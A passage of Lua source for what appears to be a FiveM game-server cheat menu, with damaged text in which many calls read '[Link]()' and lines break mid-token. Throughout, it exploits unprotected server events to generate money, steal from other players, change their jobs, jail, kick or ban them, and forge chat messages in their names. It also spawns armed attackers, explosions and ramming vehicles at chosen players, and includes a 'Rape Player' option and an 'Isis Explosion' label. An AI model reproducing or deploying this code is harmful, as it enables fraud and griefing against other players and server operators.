TriggerEvent("esx_society:openBossMenu",'taxi',function(dW,dX)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","taxi",function(dW,dX)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu",'taxi',function(dY,dZ)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","taxi",function(dY,dZ)
[Link]()
end)
[Link]()
elseif [Link]("ESX Real Estate Boss Menu") then
TriggerEvent("esx_society:openBossMenu",'realestateagent',function(dU,dV)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","realestateagent",function(dU,dV)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu",'realestateagent',function(dW,dX)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","realestateagent",function(dW,dX)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu",'realestateagent',function(dY,dZ)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","realestateagent",function(dY,dZ)
[Link]()
end)
[Link]()
elseif [Link]("ESX Car Dealer Boss Menu") then

TriggerEvent("esx_society:openBossMenu",'cardealer',function(dU,dV)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","cardealer",function(dU,dV)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu",'cardealer',function(dW,dX)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","cardealer",function(dW,dX)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu",'cardealer',function(dY,dZ)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","cardealer",function(dY,dZ)
[Link]()
end)
[Link]()
elseif [Link]("ESX Custom Boss Menu") then
local e=KeyboardInput("Enter custom boss menu job
name","",100)
if e~=""then

TriggerEvent("esx_society:openBossMenu",e,function(dU,dV)
[Link]()
end)
TriggerEvent("esx_society:openBossMenu",e,function(dW,dX)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu",e,function(dY,dZ)
[Link]()
end)
[Link]()
end
end

[Link]()
elseif [Link]("ESXJobMenu") then
if [Link]("Unemployed") then
TriggerServerEvent('NB:destituerplayer',GetPlayerServerId(-
1))
elseif [Link]("Police") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(-
1),"police",3)
elseif [Link]("Mechanic") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(-
1),"mecano",3)
elseif [Link]("Taxi") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(-
1),"taxi",3)
elseif [Link]("Ambulance") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(-
1),"ambulance",3)
elseif [Link]("Real Estate Agent") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(-
1),"realestateagent",3)
elseif [Link]("Car Dealer") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(-
1),"cardealer",3)
end

[Link]()
elseif [Link]("ESXMoneyMenu") then
if [Link]("ESX TruckerJob") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent('esx_truckerjob:pay', result)
end
elseif [Link]("ESX Caution Give Back") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent('esx_jobs:caution', 'give_back',
result)
end
elseif [Link]("ESX Eden Garage") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("eden_garage:payhealth", {costs = -
result})
end
elseif [Link]("ESX GoPostalJob") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_gopostaljob:pay", result)
end
elseif [Link]("ESX BankerJob") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_banksecurity:pay", result)
end
elseif [Link]("ESX Fuel Delivery") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_fueldelivery:pay", result)
end
elseif [Link]("ESX Car Thief") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_carthief:pay", result)
end
elseif [Link]("ESX DMV School") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_dmvschool:pay", {costs = -
result})
end
elseif [Link]("ESX Legacy Fuel") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("LegacyFuel:PayFuel", {costs = -
result})
end
elseif [Link]("ESX Dirty Job") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_godirtyjob:pay", result)
end
elseif [Link]("ESX Pizza Boy") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_pizza:pay", result)
end
elseif [Link]("ESX Ranger") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_ranger:pay", result)
end
elseif [Link]("ESX Garage Job") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_garbagejob:pay", result)
end
elseif [Link]("ESX Car Thief Dirty Money") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_carthief:pay", result)
end
elseif [Link]("ESX Admin Menu Give Bank") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("AdminMenu:giveBank", result)
end
elseif [Link]("ESX Admin Menu Give Cash") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("AdminMenu:giveCash", result)
end
elseif [Link]("ESX Slot Machine") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_slotmachine:sv:2", result)
end
elseif [Link]("ESX Hunting reward", huntspam,
function(enabled) huntspam = enabled end) then
end

[Link]()
elseif [Link]("SelfMenu") then
if [Link]("Revive (ESX)") then
print('hello')
elseif [Link]("Heal (NATIVE)") then
SetEntityHealth(PlayerPedId(), 200)
elseif [Link]("Give Armor (NATIVE)") then
SetPedArmour(PlayerPedId(), 200)
elseif [Link]("Hunger & Thirst 100% (ESX)") then
TriggerEvent('esx_status:set', 'hunger', 1000000)
TriggerEvent('esx_status:set', 'thirst', 1000000)
elseif [Link]("Suicide (NATIVE)") then
SetEntityHealth(PlayerPedId(), 0)
elseif [Link](
"God Mode (NATIVE)",
GodMode,
function(enabled)
GodMode = enabled
end)
then
elseif [Link](
"Infinite Stamina (NATIVE)",
infStamina,
function(enabled)
infStamina = enabled
end)
then
elseif [Link](
"Fast Run (NATIVE)",
fastrun,
function(enabled)
fastrun = enabled
end)
then
elseif [Link](
"Super Jump (NATIVE)",
SuperJump,
function(enabled)
SuperJump = enabled
end)
then
elseif [Link](
"Noclip (NATIVE)",
Noclip,
function(enabled)
Noclip = enabled
end)
then
elseif [Link](
"invisible (NATIVE)",
invisible,
function(enabled)
invisible = enabled
end)
then
end

[Link]()
elseif [Link]("OnlinePlayersMenu") then
for i = 0, 128 do
if NetworkIsPlayerActive(i) and GetPlayerServerId(i) ~=
0 and [Link](GetPlayerName(i).." ID = ["..GetPlayerServerId(i).."] i =
["..i.."] "..(IsPedDeadOrDying(GetPlayerPed(i), 1) and "~r~DEAD" or "~g~ALIVE"),
"PlayerOptionsMenu") then
SelectedPlayer = i
end
end

[Link]()
elseif [Link]("PlayerOptionsMenu") then
[Link]("PlayerOptionsMenu", "Player Options
["..GetPlayerName(SelectedPlayer).."]")
if [Link]('Spectate', (Spectating and
"~g~[SPECTATING]")) then
SpectatePlayer(SelectedPlayer)
elseif [Link]('Teleport To') then
local Entity = IsPedInAnyVehicle(PlayerPedId(), false)
and GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
SetEntityCoords(Entity,
GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
elseif [Link]("Heal Player (NATIVE)") then
local eF = "PICKUP_HEALTH_STANDARD"
local eG = GetHashKey(eF)
local cM =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
CreateAmbientPickup(eG, cM.x, cM.y, cM.z + 1.0, 1, 1,
eG, 1, 0)
SetPickupRegenerationTime(pickup, 60)
elseif [Link]("Give Single Weapon",
"SingleWepPlayer") then
elseif [Link]("Give Ammo") then
for i = 1, #allWeapons do
AddAmmoToPed(GetPlayerPed(SelectedPlayer),
GetHashKey(allWeapons[i]), 250)
end
elseif [Link]("Give All Weapons") then
for i = 1, #allWeapons do
GiveWeaponToPed(GetPlayerPed(SelectedPlayer),
GetHashKey(allWeapons[i]), 1000, false, false)
end
elseif [Link]("Remove All Weapons") then
for i = 1, #allWeapons do
RemoveAllPedWeapons(GetPlayerPed(SelectedPlayer),
true)
end
elseif [Link]("Give Vehicle") then
local ped = GetPlayerPed(SelectedPlayer)
local ModelName = KeyboardInput("Enter Vehicle Spawn
Name", "", 100)

if ModelName and IsModelValid(ModelName) and


IsModelAVehicle(ModelName) then
RequestModel(ModelName)
while not HasModelLoaded(ModelName) do
[Link](0)
end

local veh = CreateVehicle(GetHashKey(ModelName),


GetEntityCoords(ped), GetEntityHeading(ped), true, true)
else
drawNotification("~r~Model is not valid!")
end
elseif [Link]("Kick From Vehicle") then
ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
elseif [Link]("Delete Vehicle") then
DelVeh(GetVehiclePedIsUsing(SelectedPlayer))
end

[Link]()
elseif [Link]("PlayerESXMenu") then
if [Link]("ESX Triggers",
"PlayerESXTriggerMenu") then
elseif [Link]("ESX Jobs", "PlayerESXJobMenu")
then
end

[Link]()
elseif [Link]("PlayerESXTriggerMenu") then
if [Link]("ESX Revive") then

TriggerServerEvent("esx_ambulancejob:revive",GetPlayerServerId(selectedPlayer))
elseif [Link]("ESX Give Money To Player From Your
Wallet") then
local d = KeyboardInput("Enter amount of money to
give","",100)
if d ~= "" then
TriggerServerEvent('esx:giveInventoryItem',GetPlayerServerId(selectedPlayer),"item_
money","money",d)
end
elseif [Link]("ESX Steal Money From Player") then
local d=KeyboardInput("Enter amount of money to
steal","",100)
if d ~= "" then

TriggerServerEvent('esx:removeInventoryItem',GetPlayerServerId(selectedPlayer),"ite
m_money","money",d)
end
elseif [Link]("ESX Handcuff Player") then

TriggerServerEvent("esx_policejob:handcuff",GetPlayerServerId(selectedPlayer))
elseif [Link]("ESX Send To Jail") then
TriggerServerEvent("esx-qalle-
jail:jailPlayer",GetPlayerServerId(selectedPlayer),5000,"Jailed")

TriggerServerEvent("esx_jailer:sendToJail",GetPlayerServerId(selectedPlayer),45*60)

TriggerServerEvent("esx_jail:sendToJail",GetPlayerServerId(selectedPlayer),45*60)

TriggerServerEvent("js:jailuser",GetPlayerServerId(selectedPlayer),45*60,"Jailed")
elseif [Link]("ESX Get Out Of Jail") then
local ped = selectedPlayer
TriggerServerEvent("esx-qalle-
jail:jailPlayer",GetPlayerServerId(ped),0,"escaperino")

TriggerServerEvent("esx_jailer:sendToJail",GetPlayerServerId(ped),0)

TriggerServerEvent("esx_jail:sendToJail",GetPlayerServerId(ped),0)

TriggerServerEvent("js:jailuser",GetPlayerServerId(ped),0,"escaperino")
end

[Link]()
elseif [Link]("PlayerESXJobMenu") then
if [Link]("Unemployed") then

TriggerServerEvent('NB:destituerplayer',GetPlayerServerId(selectedPlayer))
elseif [Link]("Police") then

TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(selectedPlayer),"police",3
)
elseif [Link]("Mechanic") then

TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(selectedPlayer),"mecano",3
)
elseif [Link]("Taxi") then

TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(selectedPlayer),"taxi",3)
elseif [Link]("Ambulance") then

TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(selectedPlayer),"ambulance
",3)
elseif [Link]("Real Estate Agent") then

TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(selectedPlayer),"realestat
eagent",3)
elseif [Link]("Car Dealer") then

TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(selectedPlayer),"cardealer
",3)
end

[Link]()
elseif [Link]("PlayerTrollMenu") then
if [Link] ("Fake Chat Message") then
local cX=KeyboardInput("Enter message to send","",100)
local cY=GetPlayerName(selectedPlayer)
if cX then
TriggerServerEvent('_chat:messageEntered',cY,
{0,0x99,255},cX)
end

elseif [Link]("Cage Player") then


freezePlayer = true
[Link](50)
SpawnObjOnPlayer(GetHashKey("prop_gascage01"))
[Link](50)
freezePlayer = false
elseif [Link]("Rape Player") then
rape(SelectedPlayer)
elseif [Link]("Mellotrainer Ban") then
local reason = KeyboardInput("Enter Reason Here", "",
100)
if reason then

TriggerServerEvent("mellotrainer:adminTempBan",GetPlayerServerId(SelectedPlayer),
reason)
end
elseif [Link]("Mellotrainer Kick") then
local reason2 = KeyboardInput("Enter Reason Here", "",
100)
if reason2 then

TriggerServerEvent("mellotrainer:adminKick",GetPlayerServerId(SelectedPlayer),
reason2)
end
elseif [Link]("Ram Vehicles Into Player",
"VehicleRamMenu") then
elseif [Link]("Spawn Peds",
"PlayerSpawnPedsMenu") then
elseif [Link]("Spawn Props On Player",
"SpawnPropsMenu") then
elseif [Link](
"Freeze Player",
freezePlayer,
function(enabled)
freezePlayer = enabled
end)
then
elseif [Link]("Small invisible Explosion") then

AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 2, 100000.0, false,


true, 0)
elseif [Link]("~b~Isis Explosion") then
AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 2, 100000.0, true,
false, 100000.0)
end

[Link]()
elseif [Link]("SpawnPropsMenu") then
if [Link](
"Attach Prop To Player",
attachProp,
function(enabled)
attachProp = enabled
end)
then
elseif [Link]("Bone", { "Head", "Right Hand" },
currentBone, selectedBone, function(currentIndex, selectedIndex)
currentBone = currentIndex
selectedBone = selectedIndex
end)
then
elseif [Link]("Weed") then
local coords =
GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
local prop = "prop_weed_01"
while not HasModelLoaded(GetHashKey(prop)) do
[Link](0)
RequestModel(GetHashKey(prop))
end
local obj =
CreateObject(GetHashKey(prop),coords.x,coords.y,coords.z,true,true,true)
if attachProp then
if selectedBone == 1 then

AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),31086),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
elseif selectedBone == 2 then

AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
end
end
elseif [Link]("UFO") then
local coords =
GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
local prop = "p_spinning_anus_s"
while not HasModelLoaded(GetHashKey(prop)) do
[Link](0)
RequestModel(GetHashKey(prop))
end
local obj =
CreateObject(GetHashKey(prop),coords.x,coords.y,coords.z,true,true,true)
if attachProp then
if selectedBone == 1 then

AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),31086),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
elseif selectedBone == 2 then

AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
end
end
elseif [Link]("Windmill") then
local coords =
GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
local prop = "prop_windmill_01"
while not HasModelLoaded(GetHashKey(prop)) do
[Link](0)
RequestModel(GetHashKey(prop))
end
local obj =
CreateObject(GetHashKey(prop),coords.x,coords.y,coords.z,true,true,true)
if attachProp then
if selectedBone == 1 then

AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),39317),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
elseif selectedBone == 2 then

AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
end
end
elseif [Link]("Custom Prop") then
local coords =
GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
local input = KeyboardInput("Enter Prop Name", "", 100)
if IsModelValid(input) then
local obj =
CreateObject(GetHashKey(input),coords.x,coords.y,coords.z,true,true,true)
if attachProp then
if selectedBone == 1 then

AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),31086),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
elseif selectedBone == 2 then

AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
end
end
else
drawNotification("Invalid Model!")
end
end

[Link]()
elseif [Link]("PlayerSpawnPedsMenu") then
if [Link]("Spawn ~s~Swat army with AK") then
local eU = "s_m_y_swat_01"
local eS = "WEAPON_ASSAULTRIFLE"
for i = 0, 10 do
local cM =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
RequestModel(GetHashKey(eU))
[Link](50)
if HasModelLoaded(GetHashKey(eU)) then
local ped = CreatePed(21,
GetHashKey(eU), cM.x + i, cM.y - i, cM.z, 0, true, true) and CreatePed(21,
GetHashKey(eU), cM.x - i, cM.y + i, cM.z, 0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
local eT = PedToNet(ped)
NetworkSetNetworkIdDynamic(eT, false) SetNetworkIdCanMigrate(eT, true)
SetNetworkIdExistsOnAllMachines(eT,
true)
[Link](500)
NetToPed(eT)
GiveWeaponToPed(ped,
GetHashKey(eS), 9999, 1, 1)
SetEntityInvincible(ped, true)
SetPedCanSwitchWeapon(ped, true)
TaskCombatPed(ped,
GetPlayerPed(SelectedPlayer), 0, 16)
elseif
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
TaskCombatHatedTargetsInArea(ped,
cM.x, cM.y, cM.z, 500)
else
[Link](0)
end
end
end
elseif [Link]("Spawn ~s~Swat army with RPG")
then
local eU = "s_m_y_swat_01"
local eS = "weapon_rpg"
for i = 0, 10 do
local cM =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
RequestModel(GetHashKey(eU))
[Link](50)
if HasModelLoaded(GetHashKey(eU)) then
local ped = CreatePed(21, GetHashKey(eU),
cM.x + i, cM.y - i, cM.z, 0, true, true) and CreatePed(21, GetHashKey(eU), cM.x -
i, cM.y + i, cM.z, 0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
local eT = PedToNet(ped)
NetworkSetNetworkIdDynamic(eT, false)
SetNetworkIdCanMigrate(eT, true)
SetNetworkIdExistsOnAllMachines(eT,
true)
[Link](500)
NetToPed(eT)
GiveWeaponToPed(ped, GetHashKey(eS),
9999, 1, 1)
SetEntityInvincible(ped, true)
SetPedCanSwitchWeapon(ped, true)
TaskCombatPed(ped,
GetPlayerPed(SelectedPlayer), 0, 16)
elseif
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
TaskCombatHatedTargetsInArea(ped, cM.x,
cM.y, cM.z, 500)
else
[Link](0)
end
end
end
elseif [Link]("Spawn ~s~Swat army with
Flaregun") then
local eU = "s_m_y_swat_01"
local eS = "weapon_flaregun"
for i = 0, 10 do
local cM =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
RequestModel(GetHashKey(eU)) [Link](50)
if HasModelLoaded(GetHashKey(eU)) then
local ped = CreatePed(21, GetHashKey(eU),
cM.x + i, cM.y - i, cM.z, 0, true, true) and CreatePed(21, GetHashKey(eU), cM.x -
i, cM.y + i, cM.z, 0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
local eT = PedToNet(ped)
NetworkSetNetworkIdDynamic(eT, false)
SetNetworkIdCanMigrate(eT, true)
SetNetworkIdExistsOnAllMachines(eT,
true)
[Link](500)
NetToPed(eT)
GiveWeaponToPed(ped, GetHashKey(eS),
9999, 1, 1)
SetEntityInvincible(ped, true)
SetPedCanSwitchWeapon(ped, true)
TaskCombatPed(ped,
GetPlayerPed(SelectedPlayer), 0, 16)
elseif
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
TaskCombatHatedTargetsInArea(ped, cM.x,
cM.y, cM.z, 500)
else
[Link](0)
end
end
end
elseif [Link]("Spawn ~s~Swat army with
Railgun") then
local eU = "s_m_y_swat_01"
local eS = "weapon_railgun"
for i = 0, 10 do
local cM =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
RequestModel(GetHashKey(eU))
[Link](50)
if HasModelLoaded(GetHashKey(eU)) then
local ped = CreatePed(21, GetHashKey(eU),
cM.x + i, cM.y - i, cM.z, 0, true, true) and CreatePed(21, GetHashKey(eU), cM.x -
i, cM.y + i, cM.z, 0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
local eT = PedToNet(ped)
NetworkSetNetworkIdDynamic(eT, false)
SetNetworkIdCanMigrate(eT, true)
SetNetworkIdExistsOnAllMachines(eT,
true)
[Link](500)
NetToPed(eT)
GiveWeaponToPed(ped, GetHashKey(eS),
9999, 1, 1)
SetEntityInvincible(ped, true)
SetPedCanSwitchWeapon(ped, true)
TaskCombatPed(ped,
GetPlayerPed(SelectedPlayer), 0, 16)
elseif
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
TaskCombatHatedTargetsInArea(ped, cM.x,
cM.y, cM.z, 500)
else
[Link](0)
end
end
end
end

[Link]()
elseif [Link]("VehicleRamMenu") then
if [Link]("Futo") then
local model = GetHashKey("futo")
RequestModel(model)
while not HasModelLoaded(model) do
[Link](0)
end
local offset =
GetOffsetFromEntityInWorldCoords(GetPlayerPed(selectedPlayer), 0, -10.0, 0)
if HasModelLoaded(model) then
local veh = CreateVehicle(model, offset.x, offset.y,
offset.z, GetEntityHeading(GetPlayerPed(selectedPlayer)), true, true)
SetVehicleForwardSpeed(veh, 120.0)
end
elseif [Link]("Bus") then
local model = GetHashKey("bus")
RequestModel(model)
while not HasModelLoaded(model) do
[Link](0)
end
local offset =
GetOffsetFromEntityInWorldCoords(GetPlayerPed(selectedPlayer), 0, -10.0, 0)
if HasModelLoaded(model) then
local veh = CreateVehicle(model, offset.x, offset.y,
offset.z, GetEntityHeading(GetPlayerPed(selectedPlayer)), true, true)
SetVehicleForwardSpeed(veh, 120.0)
end
end

[Link]()
elseif [Link]("SingleWepPlayer") then
for i = 1, #allWeapons do
if [Link](allWeapons[i]) then
GiveWeaponToPed(GetPlayerPed(SelectedPlayer),
GetHashKey(allWeapons[i]), 1000, false, true)
end
end

[Link]()
elseif [Link]("WeaponMenu") then
if [Link]("Weapon List", "WeaponTypes") then
elseif [Link]("Weapon/Melee Damage", { "1x
(Default)", "2x", "3x", "4x", "5x" }, currentDamage, selectedDamage,
function(currentIndex, selectedIndex)
currentDamage = currentIndex
selectedDamage = selectedIndex
end)
then
elseif [Link]("Give All Weapons") then
for i = 1, #allWeapons do
GiveWeaponToPed(PlayerPedId(),
GetHashKey(allWeapons[i]), 1000, false, false)
end
elseif [Link]("Drop Current Weapon") then
local ped = GetPlayerPed(-1)
local weapon = GetSelectedPedWeapon(ped)
SetPedDropsInventoryWeapon(ped, weapon, 0, 2.0, 0, -1)
elseif [Link]("Remove All Weapons") then
for i = 1, #allWeapons do
RemoveAllPedWeapons(PlayerPedId(), true)
end
elseif [Link]("Give Ammo") then
for i = 1, #allWeapons do
AddAmmoToPed(PlayerPedId(), GetHashKey(allWeapons[i]),
250)
end
elseif [Link](
"No Reload",
InfClip,
function(enabled)
InfClip = enabled
SetPedInfiniteAmmoClip(PlayerPedId(), InfClip)
end)
then
elseif [Link](
"Infinite Ammo",
InfAmmo,
function(enabled)
InfAmmo = enabled
SetPedInfiniteAmmo(PlayerPedId(), InfAmmo)
end)
then
elseif [Link](
"Explosive Ammo",
explosiveAmmo,
function(enabled)
explosiveAmmo = enabled
end)
then
elseif [Link](
"oneshot",
Oneshot,
function(enabled)
Oneshot = enabled
end)
then
elseif [Link](
"Force Gun",
forceGun,
function(enabled)
forceGun = enabled
end)
then
elseif [Link](
"Delete Gun",
DeleteGun,
function(enabled)
DeleteGun = enabled
end)
then
elseif [Link]("Weapon Tints",
"WeaponCustomization") then
elseif [Link]("Bullet Gun Options",
"BulletGunMenu") then
end

[Link]()
elseif [Link]("WeaponCustomization") then
if [Link](
"Rainbow Tint",
rainbowTint,
function(enabled)
rainbowTint = enabled
end)
then
elseif [Link]("Weapon Tints", { "Normal", "Green",
"Gold", "Pink", "Army", "LSPD", "Orange", "Platinum" }, currentTint, selectedTint,
function(currentIndex, selectedIndex)
currentTint = currentIndex
selectedTint = selectedIndex

if selectedTint == 1 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0)
end
if selectedTint == 2 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 1)
end
if selectedTint == 3 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 2)
end
if selectedTint == 4 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 3)
end
if selectedTint == 5 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 4)
end
if selectedTint == 6 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 5)
end
if selectedTint == 7 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 6)
end
if selectedTint == 8 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 7)
end
end)
then
elseif [Link]("Add Special Finish") then
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x27872C90)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD7391086)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x9B76C72C)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x487AAE09)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x85A64DF9)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x377CD377)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD89B9658)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x4EAD7533)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x4032B5E7)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x77B8AB2F)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x7A6A7B7B)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x161E9241)
elseif [Link]("Remove Special Finish") then
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x27872C90)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD7391086)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x9B76C72C)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x487AAE09)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x85A64DF9)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x377CD377)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD89B9658)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x4EAD7533)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x4032B5E7)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x77B8AB2F)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x7A6A7B7B)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x161E9241)
end

[Link]()
elseif [Link]("BulletGunMenu") then
if [Link](
"Vehicle Gun",
vehicleGun,
function(enabled)
vehicleGun = enabled
end)
then
elseif [Link]("Vehicle To Shoot", vehicles,
currentVehicle, selectedVehicle, function(currentIndex, selectedIndex)
currentVehicle = currentIndex
selectedVehicle = selectedIndex

end)
then
elseif [Link]("Vehicle Speed", vehicleSpeed,
currentVehicleSpeed, selectedVehicleSpeed, function(currentIndex, selectedIndex)
currentVehicleSpeed = currentIndex
selectedVehicleSpeed = selectedIndex
end)
then
elseif [Link](
"Ped Gun",
pedGun,
function(enabled)
pedGun = enabled
end)
then
elseif [Link]("Ped To Shoot", peds, currentPed,
selectedPed, function(currentIndex, selectedIndex)
currentPed = currentIndex
selectedPed = selectedIndex
end)
then
elseif [Link](
"Bullet Gun",
bulletGun,
function(enabled)
bulletGun = enabled
end)
then
elseif [Link]("Bullet", bullets, currentBullet,
